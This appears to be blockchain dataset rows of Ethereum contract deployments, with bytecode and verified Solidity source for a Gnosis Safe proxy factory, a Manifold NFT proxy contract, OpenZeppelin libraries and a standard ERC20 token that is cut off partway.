608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,890 | a8d3609983fee7059b2ba761508459a7b1f689b7cb5bddd24cd0c5bae77ded41 | 35256c1a9c8fb972172657adcef4e95ebf9c3c12183fccc3248432233d7e0419 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | a2d9a4e25428d5b4007b6770a66bda40ce23e5e2 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,494,890 | a8d3609983fee7059b2ba761508459a7b1f689b7cb5bddd24cd0c5bae77ded41 | 9e7d6c4e403132d252194462cb4c35b3bcdac95eda855d8e9e69b74bc9c10ecc | 42dd41767fb154ae06c400126245ba0a4b7dc199 | 42dd41767fb154ae06c400126245ba0a4b7dc199 | 9752b87bf26a044af7d637f7ed8076f92b63206f | 608060405234801561001057600080fd5b506040518060600160405280602381526020016103f4602391396040805180820190915260048152630554350560e41b602082015261007060017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6101e4565b6000805160206104178339815191521461008c5761008c61020b565b735133522ea5a0494ecb83f26311a095ddd7a9d4b66100c560008051602061041783398151915260001b6101e160201b6100ce1760201c565b80546001600160a01b0319166001600160a01b0392909216919091179055604051600090735133522ea5a0494ecb83f26311a095ddd7a9d4b69061010f9085908590602401610271565b60408051601f198184030181529181526020820180516001600160e01b031663266c45bb60e11b17905251610144919061029f565b600060405180830381855af49150503d806000811461017f576040519150601f19603f3d011682016040523d82523d6000602084013e610184565b606091505b50509050806101d95760405162461bcd60e51b815260206004820152601560248201527f496e697469616c697a6174696f6e206661696c65640000000000000000000000604482015260640160405180910390fd5b5050506102bb565b90565b8181038181111561020557634e487b7160e01b600052601160045260246000fd5b92915050565b634e487b7160e01b600052600160045260246000fd5b60005b8381101561023c578181015183820152602001610224565b50506000910152565b6000815180845261025d816020860160208601610221565b601f01601f19169290920160200192915050565b6040815260006102846040830185610245565b82810360208401526102968185610245565b95945050505050565b600082516102b1818460208701610221565b9190910192915050565b61012a806102ca6000396000f3fe608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea2646970667358221220c5480d843b98954ac979c13cbc75eed98f2b0cf831375029cc13514ba581a74664736f6c634300081100335068696c6f736f70686963616c20506f696e74732062792075736572636f6e63657074360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc | 608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea2646970667358221220c5480d843b98954ac979c13cbc75eed98f2b0cf831375029cc13514ba581a74664736f6c63430008110033 | {{
"language": "Solidity",
"sources": {
"contracts/UCPP.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: Philosophical Points by userconcept\n/// @author: manifold.xyz\n\nimport \"./manifold/ERC721Creator.sol\";\n\n/////////////////////////////////////////////////////////////////////////////////////\n// //\n// //\n// //\n// __ //\n// __ __ ______ ___________ ____ ____ ____ ____ ____ _______/ |_ //\n// | | \\/ ___// __ \\_ __ \\_/ ___\\/ _ \\ / \\_/ ___\\/ __ \\\\____ \\ __\\ //\n// | | /\\___ \\\\ ___/| | \\/\\ \\__( <_> ) | \\ \\__\\ ___/| |_> > | //\n// |____//____ >\\___ >__| \\___ >____/|___| /\\___ >___ > __/|__| //\n// \\/ \\/ \\/ \\/ \\/ \\/|__| //\n// //\n// //\n// //\n/////////////////////////////////////////////////////////////////////////////////////\n\n\ncontract UCPP is ERC721Creator {\n constructor() ERC721Creator(\"Philosophical Points by userconcept\", \"UCPP\") {}\n}\n"
},
"contracts/manifold/ERC721Creator.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x5133522ea5A0494EcB83F26311A095DDD7a9D4b6;\n (bool success, ) = 0x5133522ea5A0494EcB83F26311A095DDD7a9D4b6.delegatecall(abi.encodeWithSignature(\"initialize(string,string)\", name, symbol));\n require(success, \"Initialization failed\");\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
},
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
}
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| /**
https://ponzitokenerc.com
/*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
